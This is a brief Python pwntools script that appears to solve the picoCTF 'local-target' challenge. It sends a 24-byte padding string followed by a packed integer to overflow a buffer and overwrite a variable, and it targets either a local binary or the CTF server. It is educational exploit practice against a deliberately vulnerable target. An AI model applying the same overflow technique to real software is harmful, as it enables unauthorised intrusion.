31 lines
552 B
Python
31 lines
552 B
Python
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#!/usr/bin/env nix-shell
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#!nix-shell -p python3 -i python3 python3Packages.pwntools
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from pwn import *
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exe = ELF("./local-target")
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context.binary = exe
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ADDR, PORT, *_ = "saturn.picoctf.net 58138".split()
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def conn():
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if args.REMOTE:
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r = remote(ADDR, PORT)
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else:
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r = process([exe.path])
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return r
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def main():
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r = conn()
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r.recvuntil(b"Enter a string: ")
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offset = 24 # found with pwndbg
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payload = b'A' * offset + p64(65)
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r.sendline(payload)
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print(r.recvall())
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r.close()
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if __name__ == "__main__":
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main()
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